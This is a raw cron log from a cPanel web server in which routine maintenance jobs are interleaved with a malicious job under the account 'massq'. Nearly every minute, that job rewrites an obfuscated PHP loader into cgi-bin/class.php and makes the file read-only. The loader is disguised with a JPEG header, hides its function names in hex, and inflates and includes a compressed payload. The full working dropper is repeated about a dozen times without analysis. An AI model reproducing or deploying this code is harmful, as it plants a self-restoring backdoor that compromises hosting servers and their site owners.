Sep  9 08:01:01 server CROND[13225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:01:01 server run-parts(/etc/cron.hourly)[13222]: starting 0anacron
Sep  9 08:01:01 server run-parts(/etc/cron.hourly)[13243]: finished 0anacron
Sep  9 08:02:01 server CROND[13697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:02:01 server CROND[13698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:02:01 server CROND[13699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:03:01 server CROND[14084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:03:01 server CROND[14085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:03:01 server CROND[14086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:04:01 server CROND[14474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:04:01 server CROND[14475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:04:01 server CROND[14477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:05:01 server CROND[14852]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:05:01 server CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:05:01 server CROND[14854]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 08:05:01 server CROND[14857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:05:01 server CROND[14860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:05:01 server CROND[14862]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:05:01 server CROND[14859]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:05:01 server CROND[14861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:05:01 server CROND[14863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:06:01 server CROND[15692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:06:01 server CROND[15693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:06:01 server CROND[15694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:07:01 server CROND[16070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:07:01 server CROND[16071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:07:01 server CROND[16072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:08:01 server CROND[16536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:08:01 server CROND[16542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:08:01 server CROND[16543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:09:01 server CROND[16902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:09:01 server CROND[16903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:09:01 server CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 08:09:01 server CROND[16904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:10:01 server CROND[17282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 08:10:01 server CROND[17286]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:10:01 server CROND[17293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:10:01 server CROND[17294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:10:01 server CROND[17297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:10:01 server CROND[17295]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 08:10:01 server CROND[17300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:10:01 server CROND[17298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:11:01 server CROND[18112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:11:01 server CROND[18111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:11:01 server CROND[18118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:12:01 server CROND[18483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:12:01 server CROND[18481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:12:01 server CROND[18482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:12:01 server CROND[18484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:13:01 server CROND[18847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:13:01 server CROND[18848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 08:13:01 server CROND[18849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
